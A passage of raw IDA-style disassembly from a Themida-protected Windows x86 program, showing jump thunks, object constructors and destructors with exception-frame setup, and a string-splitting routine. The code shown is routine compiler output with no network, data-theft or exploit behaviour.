; Attributes: thunk sub_402013 proc near ; CODE XREF: ___:00416B2Bp ; ___:0043B288j ... jmp sub_417C00 sub_402013 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402018 proc near ; CODE XREF: ___:00416E7Fp jmp sub_4131F0 sub_402018 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40201D proc near ; CODE XREF: sub_421B80+5p jmp sub_422080 sub_40201D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402022 proc near ; CODE XREF: ___:00421754p jmp sub_41C0A0 sub_402022 endp ; --------------------------------------------------------------------------- off_402027 dd offset byte_4BF4E9 ; DATA XREF: ___:off_43F008o align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40202C proc near ; CODE XREF: sub_404690+2CEp ; sub_404CC0+46Fp ... jmp sub_40A750 sub_40202C endp ; --------------------------------------------------------------------------- jmp loc_434410 ; --------------------------------------------------------------------------- jmp sub_41B4D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40203B proc near ; CODE XREF: sub_422470+Ap jmp sub_422750 sub_40203B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402040 proc near ; CODE XREF: sub_404CC0+7E7p jmp sub_41BA50 sub_402040 endp ; --------------------------------------------------------------------------- loc_402045: ; DATA XREF: ___:off_43F014o jmp loc_40AEC0 ; --------------------------------------------------------------------------- loc_40204A: ; DATA XREF: ___:off_43F088o jmp loc_42D150 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40204F proc near ; CODE XREF: ___:0040AEC3p ; ___:0040FFAEp ... jmp sub_40AEF0 sub_40204F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402054 proc near ; CODE XREF: sub_424920+109p ; sub_424920+178p ... jmp sub_424800 sub_402054 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402059 proc near ; CODE XREF: sub_4099C0+7p jmp sub_409AB0 sub_402059 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40205E proc near ; CODE XREF: sub_416760+Ap jmp sub_416970 sub_40205E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402063 proc near jmp sub_40CBF0 sub_402063 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402068 proc near ; CODE XREF: ___:004301DBp ; sub_4310C0+EAp jmp sub_434320 sub_402068 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40206D proc near ; CODE XREF: sub_421A60+5p ; sub_421B50+6p ... jmp sub_421FF0 sub_40206D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402072 proc near ; CODE XREF: sub_410030+8ADp ; sub_410030+95Ep ... jmp sub_411A60 sub_402072 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402077 proc near ; CODE XREF: sub_40C120+7p jmp sub_40C310 sub_402077 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40207C proc near ; CODE XREF: sub_418A40+34p ; sub_418F90+67p jmp sub_418DA0 sub_40207C endp ; --------------------------------------------------------------------------- jmp loc_409BF0 ; --------------------------------------------------------------------------- loc_402086: ; DATA XREF: ___:off_43F13Co jmp loc_4292B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40208B proc near ; CODE XREF: sub_417120+2Bp ; sub_417120+3Bp ... jmp sub_403F30 sub_40208B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402090 proc near ; CODE XREF: sub_4098B0+14p jmp sub_409910 sub_402090 endp ; --------------------------------------------------------------------------- jmp loc_4332C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40209A proc near ; CODE XREF: sub_428DC0:loc_428FCBp jmp sub_428CE0 sub_40209A endp ; --------------------------------------------------------------------------- jmp sub_427940 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020A4 proc near ; CODE XREF: sub_418430+4Dp jmp sub_418B70 sub_4020A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020A9 proc near ; CODE XREF: sub_415230+5p ; sub_4153F0+6p ... jmp sub_415DE0 sub_4020A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020AE proc near ; CODE XREF: sub_427940+3p jmp sub_427970 sub_4020AE endp ; --------------------------------------------------------------------------- jmp loc_41B1F0 ; --------------------------------------------------------------------------- jmp loc_421720 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020BD proc near ; CODE XREF: ___:00416E4Fp jmp sub_407080 sub_4020BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020C2 proc near ; CODE XREF: sub_413740+83p ; sub_4145A0+91p ... jmp sub_4153F0 sub_4020C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020C7 proc near ; DATA XREF: ___:0043F054o jmp sub_41F030 sub_4020C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020CC proc near ; CODE XREF: sub_40AAD0+144p jmp sub_40ADE0 sub_4020CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020D1 proc near ; CODE XREF: sub_431240+BAp ; sub_433C70+36p jmp sub_433CE0 sub_4020D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020D6 proc near ; CODE XREF: sub_421EF0+23p ; sub_422340+11p jmp sub_4224E0 sub_4020D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020DB proc near ; CODE XREF: sub_4221E0+4p jmp sub_4225F0 sub_4020DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020E0 proc near ; CODE XREF: sub_42BB00+3BBp jmp sub_42B730 sub_4020E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020E5 proc near ; CODE XREF: ___:0041A312p jmp sub_41A3B0 sub_4020E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020EA proc near ; CODE XREF: sub_416860+Ap jmp sub_4169C0 sub_4020EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020EF proc near ; DATA XREF: ___:off_43F18Co jmp sub_42C5C0 sub_4020EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020F4 proc near ; CODE XREF: sub_415D70+4p jmp sub_416590 sub_4020F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020F9 proc near ; CODE XREF: ___:004307A6p ; ___:00430808p ... jmp sub_434AD0 sub_4020F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020FE proc near ; CODE XREF: sub_418E20+8p jmp sub_4190C0 sub_4020FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402103 proc near ; CODE XREF: sub_418990+34p ; sub_418E80+67p jmp sub_418CA0 sub_402103 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402108 proc near ; CODE XREF: sub_41A7D0+117p jmp sub_41A960 sub_402108 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40210D proc near ; CODE XREF: sub_415BA0+35p jmp sub_416670 sub_40210D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402112 proc near ; CODE XREF: sub_404CC0+459p ; sub_406730+43p ... jmp sub_409CA0 sub_402112 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402117 proc near ; CODE XREF: sub_40BE00+5p ; sub_40BF40+6p ... jmp sub_40C140 sub_402117 endp ; --------------------------------------------------------------------------- jmp loc_4308A0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402121 proc near ; CODE XREF: ___:00416F7Ap jmp sub_4191B0 sub_402121 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402126 proc near ; CODE XREF: ___:0042AD23p jmp sub_42AD50 sub_402126 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40212B proc near ; CODE XREF: sub_410030+F3Dp ; sub_410030+1392p ... jmp sub_4148A0 sub_40212B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402130 proc near ; CODE XREF: sub_413A80+38p ; sub_413E70+5Fp jmp sub_4135E0 sub_402130 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402135 proc near ; CODE XREF: sub_40A210+14p ; sub_40A240+7p ... jmp sub_40A260 sub_402135 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40213A proc near ; CODE XREF: sub_42B440+157p jmp sub_42AFF0 sub_40213A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40213F proc near ; CODE XREF: sub_40ACC0+1Ap ; sub_40AD10+1Ap jmp sub_40AD80 sub_40213F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402144 proc near ; CODE XREF: sub_4156F0+3p ; ___:00415F1Fp ... jmp sub_416150 sub_402144 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402149 proc near ; DATA XREF: ___:0043F02Co jmp sub_410030 sub_402149 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40214E proc near ; CODE XREF: sub_4148A0+EDp jmp sub_415920 sub_40214E endp ; --------------------------------------------------------------------------- jmp loc_41B490 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402158 proc near ; CODE XREF: sub_40BF00+3p jmp sub_40C180 sub_402158 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40215D proc near ; CODE XREF: sub_40BFA0+11p ; ___:0040BFC7p ... jmp sub_40C2C0 sub_40215D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402162 proc near ; CODE XREF: sub_41E760+2C5p jmp sub_4208E0 sub_402162 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402167 proc near ; CODE XREF: sub_41D930+64Fp jmp sub_41C170 sub_402167 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40216C proc near ; CODE XREF: sub_418CC0+32p jmp sub_418F90 sub_40216C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402171 proc near ; CODE XREF: sub_40ED00+ACp ; ___:0040F42Dp jmp sub_40EE40 sub_402171 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402176 proc near ; CODE XREF: sub_4138B0+93p jmp sub_434D10 sub_402176 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40217B proc near ; CODE XREF: sub_4152A0+1Fp ; sub_415BA0+2Cp jmp sub_415B00 sub_40217B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402180 proc near ; CODE XREF: ___:0042670Dp jmp sub_4266D0 sub_402180 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402185 proc near ; CODE XREF: sub_420630+17Dp jmp sub_421AD0 sub_402185 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40218A proc near ; CODE XREF: ___:0042D551p jmp sub_42B380 sub_40218A endp ; --------------------------------------------------------------------------- loc_40218F: ; DATA XREF: ___:off_43F010o jmp loc_409BF0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402194 proc near ; CODE XREF: sub_40AAD0+6Ap ; sub_40AAD0+103p jmp sub_40AD10 sub_402194 endp ; --------------------------------------------------------------------------- jmp loc_426280 ; --------------------------------------------------------------------------- jmp loc_427910 ; --------------------------------------------------------------------------- jmp loc_41AD00 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021A8 proc near ; CODE XREF: sub_407270+14p ; sub_4072B0+9p ... jmp sub_407510 sub_4021A8 endp ; --------------------------------------------------------------------------- jmp loc_416DE0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021B2 proc near ; CODE XREF: sub_40B0E0+1Bp jmp sub_433DC0 sub_4021B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021B7 proc near ; CODE XREF: ___:00415B5Ap jmp sub_4165E0 sub_4021B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021BC proc near ; CODE XREF: sub_4309A0+ABp ; sub_431980+1Bp ... jmp sub_4319F0 sub_4021BC endp ; --------------------------------------------------------------------------- jmp loc_42FD80 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021C6 proc near ; CODE XREF: ___:00408775p ; ___:00408797p ... jmp sub_4199C0 sub_4021C6 endp ; --------------------------------------------------------------------------- jmp loc_42DA00 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021D0 proc near ; CODE XREF: sub_40B600+55p jmp sub_40A0B0 sub_4021D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021D5 proc near ; DATA XREF: ___:off_43F14Co jmp sub_429510 sub_4021D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021DA proc near ; CODE XREF: sub_421BF0+34p ; sub_422510+67p jmp sub_422230 sub_4021DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021DF proc near ; CODE XREF: sub_407140+2Cp ; sub_407140+68p ... jmp sub_4072B0 sub_4021DF endp ; --------------------------------------------------------------------------- jmp loc_4346E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021E9 proc near ; CODE XREF: sub_41C710+1B3p ; sub_41C710+332p ... jmp sub_41D770 sub_4021E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021EE proc near ; CODE XREF: sub_40BD50+11p ; sub_40BFA0+1Fp jmp sub_40C0D0 sub_4021EE endp ; --------------------------------------------------------------------------- jmp loc_4308E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021F8 proc near ; CODE XREF: sub_4246D0+1Ap ; sub_4247B0+1Bp ... jmp sub_424500 sub_4021F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021FD proc near ; CODE XREF: ___:00416ABBp jmp sub_418A40 sub_4021FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402202 proc near jmp sub_42CE60 sub_402202 endp ; --------------------------------------------------------------------------- jmp loc_42FF70 ; --------------------------------------------------------------------------- jmp loc_430100 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402211 proc near ; CODE XREF: sub_434450+1Bp jmp sub_4344C0 sub_402211 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402216 proc near ; CODE XREF: sub_42F6F0+101p jmp sub_42F040 sub_402216 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40221B proc near ; DATA XREF: ___:off_43F00Co jmp sub_407210 sub_40221B endp ; --------------------------------------------------------------------------- jmp loc_42F5C0 ; --------------------------------------------------------------------------- jmp locret_418940 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40222A proc near ; CODE XREF: sub_403720+25p ; sub_403720+35p ... jmp sub_403CE0 sub_40222A endp ; --------------------------------------------------------------------------- jmp loc_4343F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402234 proc near ; CODE XREF: sub_418430+88p ; sub_418430+98p jmp sub_418B90 sub_402234 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402239 proc near ; CODE XREF: ___:00416BBBp ; ___:0043B20Aj ... jmp sub_417870 sub_402239 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40223E proc near ; CODE XREF: sub_418BE0+5p jmp sub_418E50 sub_40223E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402243 proc near ; CODE XREF: sub_414710+3p jmp sub_414740 sub_402243 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402248 proc near ; CODE XREF: ___:004305EBp ; ___:00430F17p ... jmp sub_431DC0 sub_402248 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40224D proc near ; DATA XREF: ___:off_43F11Co jmp sub_4288F0 sub_40224D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402252 proc near ; CODE XREF: sub_430B30+102p ; sub_432A20+5Dp ... jmp sub_431B00 sub_402252 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402257 proc near ; CODE XREF: sub_4135E0+5Cp ; sub_4135E0+C0p ... jmp sub_415540 sub_402257 endp ; --------------------------------------------------------------------------- jmp loc_432700 ; --------------------------------------------------------------------------- jmp loc_430460 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402266 proc near ; CODE XREF: sub_41D930+203p jmp sub_42E3C0 sub_402266 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40226B proc near ; CODE XREF: sub_42F6F0+148p ; sub_42F6F0+173p jmp sub_42EF60 sub_40226B endp ; --------------------------------------------------------------------------- jmp loc_42F490 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402275 proc near ; CODE XREF: sub_4134A0+34p ; sub_4148A0+40p jmp sub_4159F0 sub_402275 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40227A proc near ; CODE XREF: sub_40CC90+1A4p ; sub_40D040+ADp jmp sub_40D040 sub_40227A endp ; --------------------------------------------------------------------------- jmp loc_42F510 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402284 proc near ; CODE XREF: sub_422B40+938p jmp loc_424080 sub_402284 endp ; --------------------------------------------------------------------------- jmp loc_419B90 ; --------------------------------------------------------------------------- loc_40228E: ; CODE XREF: ___:00439FE6j jmp loc_40CFC0 ; --------------------------------------------------------------------------- db 26Bh dup(0CCh) byte_4024FE db 1032h dup(0CCh) ; DATA XREF: Themida_:loc_5ABEC3o ; =============== S U B R O U T I N E ======================================= sub_403530 proc near ; CODE XREF: sub_4019C4j var_46C = dword ptr -46Ch var_468 = byte ptr -468h var_450 = byte ptr -450h var_438 = byte ptr -438h var_420 = byte ptr -420h var_408 = dword ptr -408h var_404 = byte ptr -404h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_403530 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 460h mov eax, [esp+46Ch+arg_4] push ebp push esi push edi mov [esp+478h+var_408], eax mov eax, [esp+478h+arg_8] xor edi, edi mov esi, 1 cmp eax, edi mov [esp+478h+var_46C], edi jz short loc_403589 lea edx, [esp+478h+arg_8] lea ecx, [esp+478h+var_404] loc_40357A: ; CODE XREF: sub_403530+57j add edx, 4 mov [ecx], eax inc esi add ecx, 4 mov eax, [edx] cmp eax, edi jnz short loc_40357A loc_403589: ; CODE XREF: sub_403530+3Dj lea ecx, [esp+478h+var_468] mov [esp+esi*4+478h+var_408], edi call sub_40142E push offset asc_4445EC ; "|" lea ecx, [esp+47Ch+var_438] mov [esp+47Ch+var_4], 1 call sub_401870 push offset aABCDEFGHIJKLMN ; "a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t"... lea ecx, [esp+47Ch+var_468] mov byte ptr [esp+47Ch+var_4], 2 call sub_401A9B push offset byte_448F30 lea ecx, [esp+47Ch+var_450] call sub_401870 mov byte ptr [esp+478h+var_4], 3 xor esi, esi lea edi, [esp+478h+var_408] loc_4035E1: ; CODE XREF: sub_403530+105j mov ebp, [edi] test ebp, ebp jz short loc_403637 lea ecx, [esp+478h+var_438] call sub_40168B dec ebp push eax lea ecx, [esp+47Ch+var_420] push ebp push ecx lea ecx, [esp+484h+var_468] call sub_4016B8 mov ecx, eax mov byte ptr [esp+478h+var_4], 4 call sub_4017EE push eax lea ecx, [esp+47Ch+var_450] call sub_401AAF lea ecx, [esp+478h+var_420] mov byte ptr [esp+478h+var_4], 3 call sub_401226 inc esi add edi, 4 cmp esi, 0FFh jb short loc_4035E1 loc_403637: ; CODE XREF: sub_403530+B5j mov esi, [esp+478h+arg_0] lea edx, [esp+478h+var_450] push edx mov ecx, esi call sub_4014D3 mov [esp+478h+var_46C], 1 lea ecx, [esp+478h+var_450] mov byte ptr [esp+478h+var_4], 2 call sub_401226 lea ecx, [esp+478h+var_438] mov byte ptr [esp+478h+var_4], 1 call sub_401226 lea ecx, [esp+478h+var_468] mov byte ptr [esp+478h+var_4], 0 call sub_401226 mov ecx, [esp+478h+var_C] mov eax, esi pop edi pop esi pop ebp mov large fs:0, ecx add esp, 46Ch retn sub_403530 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403700 proc near ; CODE XREF: sub_40168Bj mov eax, [ecx+9] retn sub_403700 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403720 proc near ; CODE XREF: sub_40129Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403720 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+9] call sub_40222A lea ecx, [esi+52h] mov [esp+14h+var_4], 0 call sub_40222A lea ecx, [esi+9Bh] mov byte ptr [esp+14h+var_4], 1 call sub_40222A lea ecx, [esi+0E4h] mov byte ptr [esp+14h+var_4], 2 call sub_40222A lea ecx, [esi+12Dh] mov byte ptr [esp+14h+var_4], 3 call sub_40222A lea ecx, [esi+176h] mov byte ptr [esp+14h+var_4], 4 call sub_40222A lea ecx, [esi+1BFh] mov byte ptr [esp+14h+var_4], 5 call sub_40222A lea ecx, [esi+208h] mov byte ptr [esp+14h+var_4], 6 call sub_40222A lea ecx, [esi+251h] mov byte ptr [esp+14h+var_4], 7 call sub_40222A lea ecx, [esi+29Ah] mov byte ptr [esp+14h+var_4], 8 call sub_40222A lea ecx, [esi+2E3h] mov byte ptr [esp+14h+var_4], 9 call sub_40222A lea ecx, [esi+32Ch] mov byte ptr [esp+14h+var_4], 0Ah call sub_40222A lea ecx, [esi+375h] mov byte ptr [esp+14h+var_4], 0Bh call sub_40222A lea ecx, [esi+3BEh] mov byte ptr [esp+14h+var_4], 0Ch call sub_40222A lea ecx, [esi+407h] mov byte ptr [esp+14h+var_4], 0Dh call sub_40222A lea ecx, [esi+450h] mov byte ptr [esp+14h+var_4], 0Eh call sub_40222A lea ecx, [esi+499h] mov byte ptr [esp+14h+var_4], 0Fh call sub_40222A lea ecx, [esi+4E2h] mov byte ptr [esp+14h+var_4], 10h call sub_40222A lea ecx, [esi+52Bh] mov byte ptr [esp+14h+var_4], 11h call sub_40222A mov byte ptr [esp+14h+var_4], 12h lea ecx, [esi+574h] call sub_40222A lea ecx, [esi+5BDh] mov byte ptr [esp+14h+var_4], 13h call sub_40222A lea ecx, [esi+606h] mov byte ptr [esp+14h+var_4], 14h call sub_40222A lea ecx, [esi+64Fh] mov byte ptr [esp+14h+var_4], 15h call sub_40222A lea ecx, [esi+698h] mov byte ptr [esp+14h+var_4], 16h call sub_40222A lea ecx, [esi+6E1h] mov byte ptr [esp+14h+var_4], 17h call sub_40222A lea ecx, [esi+72Ah] mov byte ptr [esp+14h+var_4], 18h call sub_40222A lea ecx, [esi+773h] mov byte ptr [esp+14h+var_4], 19h call sub_40222A lea ecx, [esi+7BCh] mov byte ptr [esp+14h+var_4], 1Ah call sub_40222A lea ecx, [esi+805h] mov byte ptr [esp+14h+var_4], 1Bh call sub_40222A lea ecx, [esi+84Eh] mov byte ptr [esp+14h+var_4], 1Ch call sub_40222A lea ecx, [esi+897h] mov byte ptr [esp+14h+var_4], 1Dh call sub_40222A lea ecx, [esi+8E0h] mov byte ptr [esp+14h+var_4], 1Eh call sub_40222A lea ecx, [esi+929h] mov byte ptr [esp+14h+var_4], 1Fh call sub_40222A lea ecx, [esi+972h] mov byte ptr [esp+14h+var_4], 20h call sub_40222A lea ecx, [esi+9BBh] mov byte ptr [esp+14h+var_4], 21h call sub_40222A lea ecx, [esi+0A04h] mov byte ptr [esp+14h+var_4], 22h call sub_40222A lea ecx, [esi+0A4Dh] mov byte ptr [esp+14h+var_4], 23h call sub_40222A lea ecx, [esi+0A96h] mov byte ptr [esp+14h+var_4], 24h call sub_40222A lea ecx, [esi+0ADFh] mov byte ptr [esp+14h+var_4], 25h call sub_40222A lea ecx, [esi+0B28h] mov byte ptr [esp+14h+var_4], 26h call sub_40222A lea ecx, [esi+0B71h] mov byte ptr [esp+14h+var_4], 27h call sub_401753 lea ecx, [esi+0B9Fh] mov byte ptr [esp+14h+var_4], 28h call sub_401753 lea ecx, [esi+0BCDh] mov byte ptr [esp+14h+var_4], 29h call sub_401753 lea ecx, [esi+0BFBh] mov byte ptr [esp+14h+var_4], 2Ah call sub_401753 lea ecx, [esi+0C29h] mov byte ptr [esp+14h+var_4], 2Bh call sub_401753 lea ecx, [esi+0C57h] mov byte ptr [esp+14h+var_4], 2Ch call sub_401753 lea ecx, [esi+0C85h] mov byte ptr [esp+14h+var_4], 2Dh call sub_401753 lea ecx, [esi+0CB3h] mov byte ptr [esp+14h+var_4], 2Eh call sub_401753 lea ecx, [esi+0CE1h] mov byte ptr [esp+14h+var_4], 2Fh call sub_401753 lea ecx, [esi+0D0Fh] mov byte ptr [esp+14h+var_4], 30h call sub_401753 lea ecx, [esi+0D3Dh] mov byte ptr [esp+14h+var_4], 31h call sub_401753 lea ecx, [esi+0D6Bh] mov byte ptr [esp+14h+var_4], 32h call sub_401753 lea ecx, [esi+0D99h] mov byte ptr [esp+14h+var_4], 33h call sub_401753 lea ecx, [esi+0DC7h] mov byte ptr [esp+14h+var_4], 34h call sub_401753 lea ecx, [esi+0DF5h] mov byte ptr [esp+14h+var_4], 35h call sub_401753 lea ecx, [esi+0E23h] mov byte ptr [esp+14h+var_4], 36h call sub_401753 lea ecx, [esi+0E51h] mov byte ptr [esp+14h+var_4], 37h call sub_401753 lea ecx, [esi+0E7Fh] mov byte ptr [esp+14h+var_4], 38h call sub_4011A4 lea ecx, [esi+10C7h] mov byte ptr [esp+14h+var_4], 39h call sub_4011A4 lea ecx, [esi+130Fh] mov byte ptr [esp+14h+var_4], 3Ah call sub_4011A4 lea ecx, [esi+1557h] mov byte ptr [esp+14h+var_4], 3Bh call sub_4011A4 lea ecx, [esi+179Fh] mov byte ptr [esp+14h+var_4], 3Ch call sub_4011A4 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F000 mov byte ptr [esi+4], 0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403720 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 110h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403C50 proc near ; CODE XREF: sub_401023j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403C50 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_403C50 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403CC0 proc near ; CODE XREF: sub_4011B3j mov eax, ecx mov dword ptr [eax], offset off_43F004 retn sub_403CC0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403CE0 proc near ; CODE XREF: sub_40222Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403CE0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_40142E lea ecx, [esi+1Eh] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+33h] mov byte ptr [esp+14h+var_4], 1 call sub_40142E mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403CE0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403D60 proc near ; CODE XREF: sub_401AE6j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403D60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+33h] mov [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+1Eh] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_403D60 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403DE0 proc near ; CODE XREF: sub_401753j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403DE0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_40142E lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_40142E mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403DE0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E 